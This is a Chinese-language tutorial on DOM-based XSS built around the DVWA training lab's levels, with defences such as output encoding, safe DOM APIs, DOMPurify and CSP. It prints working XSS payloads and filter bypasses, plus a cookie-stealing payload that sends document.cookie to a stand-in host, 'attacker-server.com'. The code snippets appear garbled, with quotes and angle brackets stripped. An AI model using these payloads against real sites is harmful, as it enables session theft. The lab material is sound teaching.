尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

DOM型XSS漏洞原理与DVWA靶场实战通关指南

DOM型XSS漏洞原理与DVWA靶场实战通关指南 1. 项目概述从靶场到实战的DOM型XSS通关之旅如果你正在学习Web安全尤其是前端安全那么“DVWA靶场通关”这个系列绝对是你绕不开的实战演练场。今天我们聚焦在其中的第十关XSS(DOM)。这不仅仅是又一个关于跨站脚本攻击的教程它更深入地揭示了前端JavaScript如何在没有服务器“参与”的情况下仅凭浏览器端的DOM操作就能引发安全漏洞。DOM型XSSCross-Site Scripting是XSS家族中一个独特且危险的成员它的攻击载荷不经过服务器直接在客户端被解析和执行这使得传统的基于输入过滤的防护手段常常失效。DVWADamn Vulnerable Web Application作为一款故意设计存在漏洞的Web应用为我们提供了一个绝佳的、无风险的实验环境。通过通关这个靶场你不仅能理解DOM型XSS的原理更能亲手构造攻击载荷理解漏洞的触发点并最终掌握防御思路。无论你是刚入门的安全爱好者还是想巩固前端安全知识的开发者这篇基于实战的深度解析都将带你从“知道概念”走向“能够实操和防御”。2. DOM型XSS核心原理与DVWA环境剖析2.1 什么是DOM型XSS它与反射型、存储型的本质区别在深入DVWA靶场之前我们必须先厘清DOM型XSS的独特之处。XSS攻击通常分为三类反射型、存储型和DOM型。前两者反射型和存储型的共性是恶意脚本的“旅程”中至少有一站是服务器。反射型XSS中攻击载荷作为请求参数发送到服务器服务器将其“反射”回响应页面中存储型XSS中攻击载荷被保存到服务器数据库当其他用户访问特定页面时再从服务器加载并执行。而DOM型XSS则完全不同。它的整个攻击过程可以完全在客户端浏览器中完成。漏洞的根源在于页面中的JavaScript代码通常是操作DOM的代码不安全地处理了来自用户可控源的数据并将其写入了当前的文档对象模型DOM中。这些用户可控源包括document.location对象如href,hash,searchdocument.referrerwindow.name客户端存储如localStorage,sessionStorage,Cookies通过postMessage接收的消息一个典型的攻击链是攻击者构造一个特制的URL其中包含恶意脚本。受害者点击这个URL浏览器加载页面并执行其中的合法JavaScript代码。这段代码例如从location.hash中提取内容无意中将URL中的恶意脚本拼接进HTML字符串然后通过innerHTML或document.write等方法写入DOM。浏览器解析新写入的HTML时其中的恶意脚本就被执行了。关键在于这个恶意脚本从未发送到服务器或者发送了但服务器未处理它因此服务器端的日志和过滤机制可能完全看不到这个攻击。注意区分一个XSS是DOM型还是反射型一个简单的方法是看漏洞的触发是否依赖于服务器端对攻击载荷的处理。如果关闭浏览器JavaScript反射型XSS的恶意脚本可能依然以文本形式存在于页面源码中来自服务器响应而DOM型XSS的页面源码里则完全找不到攻击载荷的踪迹。2.2 DVWA XSS(DOM)关卡环境搭建与界面初探为了进行实战你需要一个可运行的DVWA环境。通常你可以使用集成了Apache、MySQL、PHP的套件如XAMPP、PHPStudy在本地搭建或者使用预配置的虚拟机如Kali Linux中内置的DVWA。确保你的DVWA安全级别设置为适合测试的等级如“Low”或“Medium”我们后续的讲解会涵盖不同安全级别的绕过。进入DVWA的“XSS (DOM)”页面你会看到一个简单的界面通常是一个下拉选择框让你选择一种语言比如English、French等。选择后页面会显示类似“You chose: English”的提示。初看之下这似乎只是一个无害的客户端交互。但作为安全测试者我们的第一反应是这个选择结果是如何呈现的URL参数是什么前端JavaScript是怎么处理的打开浏览器的开发者工具F12切换到“网络(Network)”标签页清空记录然后重新选择一个语言。你会发现并没有新的网络请求产生。这立刻印证了我们的猜想这是一个纯客户端的交互。再观察URL当你选择不同选项时URL中的#部分即片段标识符发生了变化例如从#变成了#English。这个#后面的内容就是location.hash属性的值它是典型的客户端数据源不会发送到服务器。2.3 漏洞代码深度解析从Source到Sink的污染流点击DVWA页面上的“View Source”按钮查看前端源码这是理解漏洞的关键。我们以“Low”安全级别为例!-- 前端HTML部分 -- select namedefault script if (document.location.href.indexOf(default) 0) { var lang document.location.href.substring(document.location.href.indexOf(default)8); document.write(option value lang decodeURI(lang) /option); document.write(option value disableddisabled----/option); } document.write(option valueEnglishEnglish/option); document.write(option valueFrenchFrench/option); document.write(option valueSpanishSpanish/option); document.write(option valueGermanGerman/option); /script /select漏洞链条分析Source污染源document.location.href。攻击者可以通过构造URL完全控制这个值。数据处理JavaScript代码检查URL中是否包含字符串“default”。如果包含就使用substring方法提取“default”后面的部分赋值给变量lang。这里没有任何过滤或编码。Sink危险汇点document.write()。代码直接将未经验证的lang变量拼接进HTML字符串并写入文档流。攻击场景模拟假设攻击者构造这样一个URLhttp://your-dvwa-site/vulnerabilities/xss_d/?default/option/selectscriptalert(Hacked)/script当受害者访问此URL时脚本执行过程如下document.location.href包含default/option/selectscriptalert(Hacked)/script。lang变量被赋值为/option/selectscriptalert(Hacked)/script。document.write执行写入的HTML变为option value/option/selectscriptalert(Hacked)/script...。浏览器解析这段HTML时会先闭合当前的option和select标签然后遇到script标签并执行其中的alert(Hacked)。这就是一个完整的DOM型XSS攻击。服务器只收到了?default这个参数请求后面的恶意脚本因为位于#片段之后甚至根本不会发送到服务器取决于浏览器和服务器配置传统的WAF或服务器端过滤对此完全无能为力。3. 多难度级别下的攻击载荷构造与绕过技巧DVWA的XSS(DOM)关卡提供了从“Low”到“Impossible”四个安全级别这模拟了现实中开发人员可能采取的不同防护等级。通关的过程就是学习如何绕过这些防护措施的过程。3.1 Low级别毫无防护的“靶心”正如上一节代码解析所示Low级别没有任何过滤。攻击者拥有最大的自由度。除了上面演示的经典script标签注入还可以使用各种事件处理器Event Handlers来触发JavaScript。实操攻击载荷示例使用img标签的onerror事件http://.../xss_d/?defaultEnglishimg srcx onerroralert(document.cookie)当图片加载失败时onerror事件内的JS代码就会执行。这种方式常用于绕过简单的script标签过滤。使用svg标签http://.../xss_d/?defaultsvg/onloadalert(1)SVG标签内联的脚本同样会被执行。利用DOM闭合进行更大范围的控制http://.../xss_d/?default/option/selecth1Hacked Title/h1scriptalert(Page Modified)/script这不仅能执行脚本还能直接修改页面结构。实操心得在Low级别重点练习如何构造有效的HTML/JS片段并理解它们是如何被document.write插入到当前DOM上下文中的。使用浏览器的“检查元素”功能观察注入前后DOM结构的变化这对理解漏洞至关重要。3.2 Medium级别蹩脚的客户端过滤与轻松绕过将DVWA安全级别切换到“Medium”再次查看源码。你会发现服务器端代码没有变化但前端多了一段过滤逻辑// Medium级别可能添加的过滤示例具体以实际DVWA版本为准 var lang document.location.href.substring(document.location.href.indexOf(default)8); // 尝试过滤 script 标签 lang lang.replace(/script/gi, ); lang lang.replace(/\/script/gi, ); document.write(option value lang decodeURI(lang) /option);开发者意识到了script标签的危险于是试图用replace方法将其删除。但这种过滤是低效且容易绕过的。绕过技巧大小写混淆正则表达式/gi中的i表示不区分大小写所以Script、sCrIpT都会被过滤。但我们可以使用其他标签如img、svg这些标签不在过滤名单内。嵌套与混淆即使过滤了script我们可以构造这样的载荷scrscriptiptalert(1)/script。当代码执行replace(/script/gi, )时它会删除中间的script剩下的字符正好拼接成新的script标签。不过这个技巧需要看过滤代码的执行顺序和次数。利用未过滤的Sink最直接的方法就是放弃使用script标签。使用img srcx onerroralert(1)或body onloadalert(1)等只要这些标签和事件处理器没有被禁止攻击依然有效。实战操作在Medium级别尝试使用img的onerror事件进行注入。你会发现通常能成功。这说明仅黑名单过滤特定标签是远远不够的安全必须建立在白名单或正确的编码输出之上。3.3 High级别严格的白名单验证及其局限性High级别的防护通常会严格很多。查看源码你可能会看到类似以下的代码// High级别可能的防护代码 var lang document.location.href.substring(document.location.href.indexOf(default)8); // 白名单验证 var allowedLangs [English, French, Spanish, German]; if (allowedLangs.indexOf(lang) -1) { lang English; // 默认值 } document.write(option value lang decodeURI(lang) /option);这里采用了白名单机制只允许lang的值是预定义的数组allowedLangs中的一项。如果不是则强制重置为“English”。这看起来非常安全因为攻击者无法注入任意字符串。然而DOM型XSS的绕过思路常常在“意料之外”。注意这里的验证逻辑是从URL中提取default之后的所有字符作为lang。如果攻击者构造的URL是http://.../xss_d/?defaultEnglish#scriptalert(1)/script会发生什么document.location.href是整个URL。indexOf(default)找到default的位置。substring从default后面第8个字符开始截取直到URL末尾。那么lang的值将是English#scriptalert(1)/script。白名单检查allowedLangs.indexOf(English#scriptalert(1)/script)结果自然是-1不在白名单内。lang被重置为English。最终写入DOM的是安全的option valueEnglishEnglish/option。攻击失败了别急回想一下DOM型XSS的Source。location.hash(#后面的内容) 也是一个独立的Source。也许页面上有其他脚本在处理location.hash或者我们能否利用URL解析的歧义一个更巧妙的攻击向量document.location.href.indexOf(default)这个方法查找的是字符串default第一次出现的位置。如果我们在#片段里也构造一个default呢http://.../xss_d/#defaultscriptalert(Hash)/script此时document.location.href包含#defaultscriptalert(Hash)/script。indexOf(default)会找到#后面的这个default的位置。substring截取出来的lang值就是scriptalert(Hash)/script。它绕过了?查询参数部分的处理逻辑直接利用了hash片段作为输入源接下来只要页面代码没有对hash片段进行同样的白名单验证攻击就会成功。重要提示这个绕过方法高度依赖于具体的代码实现。在真实的DVWA High级别中防护可能更严密可能同时校验了查询参数和hash或者使用了更严格的URL解析库。这里的目的是展示一种绕过白名单的思维寻找未被验证的、可被用户控制的次级输入源Source。3.4 Impossible级别从根源上消除漏洞Impossible级别的代码展示了真正有效的防护手段。核心思想是避免将不可信的数据动态写入HTML上下文。查看源码你可能会看到两种防御思路严格的服务器端白名单在请求到达客户端JS之前服务器端就对default参数进行白名单校验。如果参数值不在预定义的列表中服务器直接返回一个错误页面或默认安全页面根本不会执行那段有风险的客户端JS代码。安全的客户端输出编码即使客户端JS需要动态输出也绝不使用innerHTML或document.write。而是使用安全的文本节点操作方法。// 安全的方式 var lang getParameterSomehow(); // 假设通过安全方式获取 var option document.createElement(option); option.value lang; option.text decodeURI(lang); // 使用textContent或innerText设置文本内容是安全的它们不会解析HTML // option.textContent decodeURI(lang); document.getElementById(mySelect).appendChild(option);或者如果必须设置HTML内容则对用户输入进行严格的HTML实体编码function encodeHTML(str) { return str.replace(/[]/g, function(match) { return {:amp;, :lt;, :gt;, :quot;, :#39;}[match]; }); } var safeLang encodeHTML(lang); document.write(option value safeLang safeLang /option); // 现在lang中的尖括号等会被显示为文本而不是被解析为标签在Impossible级别漏洞被从根本上修复了。作为攻击者面对这种防护常规的XSS注入手段将完全失效。这告诉我们防御DOM型XSS的最佳实践是在输出到危险Sink如innerHTML,document.write,eval等前对数据进行正确的上下文相关编码HTML编码、JavaScript编码、URL编码等或者更好的是使用安全的API如textContent,setAttribute来操作DOM。4. 实战演练手把手构造与测试攻击链理解了原理和各级别的绕过思路后我们进入实战操作环节。你需要准备好DVWA环境安全级别设为Low、一个现代浏览器推荐Chrome或Firefox及其开发者工具。4.1 工具准备与初步侦察启动环境确保你的DVWA在本地运行正常如http://localhost/dvwa/登录并将安全级别设置为“Low”。打开靶场导航到 “XSS (DOM)” 漏洞页面。开启开发者工具按F12重点关注“元素(Elements)”和“控制台(Console)”标签页。观察正常交互从下拉框中选择“French”。观察URL变化末尾应变为#French观察页面提示“You chose: French”是如何更新的通常是通过JS操作某个div或span的innerHTML。注意不同版本的DVWA前端代码实现可能有细微差别我们的分析以最常见的版本为例。4.2 手动构造并测试基础攻击载荷我们的目标是通过修改URL让页面执行我们自定义的JavaScript代码。步骤一定位注入点观察当前URL。假设它是http://localhost/dvwa/vulnerabilities/xss_d/?defaultEnglish#French。我们看到有两个地方可能被控制查询参数?defaultEnglish和哈希片段#French。根据之前对源码的分析漏洞代码处理的是?default部分。我们先从这里入手。步骤二构造Payload在浏览器地址栏中将?defaultEnglish修改为?default/option/selectimg src\x\ onerror\alert(DOM XSS Low)\完整的URL可能看起来像http://localhost/dvwa/vulnerabilities/xss_d/?default/option/selectimg src\x\ onerror\alert(DOM XSS Low)\按下回车。步骤三观察结果页面应该会弹出一个警告框显示“DOM XSS Low”。这说明注入成功。切换到开发者工具的“元素”标签页查看select元素及其周围的DOM结构。你会发现原来的select标签被提前闭合了后面插入了我们构造的img标签。当这个不存在的图片“x”加载失败时onerror事件触发执行了我们的alert函数。步骤四尝试窃取Cookie模拟真实攻击真实的XSS攻击往往不是为了弹窗而是窃取用户敏感信息如Session Cookie。我们可以构造一个Payload将当前用户的Cookie发送到攻击者控制的服务器。 构造如下Payload?default/option/selectimg src\x\ onerror\javascript:var inew Image();i.srchttp://attacker-server.com/steal?cookieencodeURIComponent(document.cookie);\这个Payload会在图片加载错误时创建一个新的Image对象并将其src属性指向攻击者的服务器URL同时将document.cookie作为参数附加上去。攻击者只需要在attacker-server.com上监听请求就能收到受害者的Cookie。实操心得在本地测试时你可以用http://localhost或http://127.0.0.1来模拟攻击者服务器并使用nc(Netcat) 或简单的HTTP服务器如python -m http.server 8000来接收请求观察是否成功捕获到数据。切记此操作仅限在授权的测试环境如DVWA中进行切勿对任何非授权目标尝试。4.3 使用Burp Suite等工具进行高效测试手动修改URL对于简单测试可行但对于需要大量尝试不同Payload或进行自动化测试时就显得效率低下。Burp Suite是Web安全测试的瑞士军刀。操作流程配置代理打开Burp Suite在Proxy - Options中确保代理监听正确如127.0.0.1:8080。将浏览器代理设置为指向Burp。拦截请求在DVWA页面确保Burp的“Intercept is on”。再次从下拉框选择一个语言。修改请求Burp会拦截到这个GET请求。你可以在请求行中直接修改default参数的值插入你的XSS Payload。例如将GET /dvwa/vulnerabilities/xss_d/?defaultEnglish修改为GET /dvwa/vulnerabilities/xss_d/?default/option/selectscriptalert(1)/script。Forward并观察点击“Forward”让修改后的请求发送到服务器。然后切换到浏览器查看页面是否执行了脚本。使用Repeater模块这是一个更强大的工具。将拦截到的请求右键发送到“Repeater”。在Repeater标签页中你可以随意修改请求参数多次点击“Send”发送并在右侧观察响应结果。这对于测试不同Payload、不同编码方式非常方便。使用Intruder模块进行模糊测试如果你有一份XSS Payload字典可以使用Intruder模块对参数进行自动化爆破测试快速发现哪些Payload可以成功触发。使用工具的优势在于可以方便地修改HTTP请求的每一个部分进行编码、重放、对比极大地提升了测试效率和深度。5. 防御策略与安全编码最佳实践作为开发者理解攻击是为了更好的防御。DOM型XSS的防御核心在于不要信任任何来自客户端的输入并在将数据输出到动态执行上下文时进行正确的处理和编码。5.1 输入验证与输出编码的黄金法则严格的输入验证白名单原则在客户端和服务器端都进行验证。客户端的验证是为了用户体验服务器端的验证是为了安全绝不能省略服务器端验证。尽可能使用白名单只接受符合预期格式的数据例如语言选择只允许“en”、“fr”等预定义代码。对于无法白名单化的复杂数据进行严格的过滤和清理。上下文相关的输出编码输出到HTML上下文使用HTML实体编码。将,,,,等字符转换为对应的实体amp;,lt;,gt;,quot;,#x27;。许多前端框架如React, Vue, Angular默认会对模板中的变量进行HTML转义。输出到HTML属性上下文除了HTML编码还要注意属性值应该用引号括起来。避免将不可信数据放在href,src,onclick等事件属性中如果必须需进行额外的URL编码或JavaScript编码。输出到JavaScript上下文这非常危险。应避免使用eval()、setTimeout(string),new Function(string)等动态执行字符串的函数。如果必须将数据插入JS应使用JSON序列化并确保其被解析为数据而非代码。输出到URL上下文进行完整的URL编码encodeURIComponent。使用安全的DOM API优先使用textContent或innerText来设置元素文本内容它们不会解析HTML。使用setAttribute()来设置属性值。避免使用innerHTML、outerHTML、document.write()。如果万不得已必须使用务必先对插入的内容进行严格的HTML消毒Sanitize。可以使用成熟的库如DOMPurify。5.2 利用内容安全策略CSP作为最后防线CSPContent Security Policy是一个重要的纵深防御措施。它通过HTTP头告诉浏览器哪些来源的资源脚本、样式、图片等是可以加载和执行的。一个针对XSS防护的严格CSP示例Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略表示default-src self默认只允许加载同源资源。script-src self https://trusted.cdn.com脚本只能从同源或指定的可信CDN加载。这将阻止所有内联脚本包括script.../script和事件处理器如onclick的执行除非使用nonce或hash机制允许特定的内联脚本。object-src none禁止加载object,embed,applet等插件。CSP能极大地缓解XSS攻击的影响即使攻击者成功注入了脚本如果该脚本的来源不在白名单内浏览器也不会执行它。实施CSP需要仔细规划因为它可能会破坏网站现有功能建议采用“报告-仅”模式Content-Security-Policy-Report-Only先观察一段时间。5.3 现代前端框架中的安全实践如果你使用React、Vue或Angular等现代框架它们已经内置了一些安全机制React默认会对在JSX中插入的变量{}进行转义防止其成为可执行的HTML。只有使用dangerouslySetInnerHTML时才有风险此时你必须确保内容是安全的。Vue双花括号语法{{ data }}也会进行HTML转义。只有使用v-html指令时才有风险。Angular插值表达式{{ data }}和属性绑定[property]data是安全的。只有使用[innerHTML]绑定时才有风险。框架使用心得永远不要将用户输入的数据直接传递给dangerouslySetInnerHTML、v-html或[innerHTML]。如果需要渲染富文本必须在服务器端或前端使用专门的消毒库如DOMPurify进行处理后再传入。5.4 自动化扫描与代码审计辅助除了手动测试和遵循安全编码规范还可以借助工具来发现潜在的DOM型XSS漏洞静态应用安全测试SAST在代码层面分析寻找危险的Source如location.hash,document.URL流向危险的Sink如innerHTML,eval的模式。工具如SonarQube、Checkmarx、Semgrep等。动态应用安全测试DAST像Burp Suite Professional、Acunetix、OWASP ZAP这样的扫描器可以自动化地爬取网站并尝试注入各种Payload来检测反射型和存储型XSS。但对于纯客户端的DOM型XSS一些高级扫描器通过嵌入浏览器引擎如Burp的DOM Invader扩展也能进行一定程度的检测。浏览器开发者工具手动审计时在“源代码(Sources)”标签页中搜索innerHTML、document.write、eval、setTimeout带字符串参数、location、hash等关键词是快速定位潜在风险代码的有效方法。DOM型XSS的防御是一个系统工程需要开发者在设计、编码、测试各个环节都保持安全意识。通过DVWA靶场的实战我们不仅学会了攻击更重要的是理解了漏洞产生的根源从而能在自己的项目中主动避免同类问题。记住安全没有银弹但通过白名单验证、输出编码、使用安全API和部署CSP等多层防护可以构筑起坚固的防线。
返回列表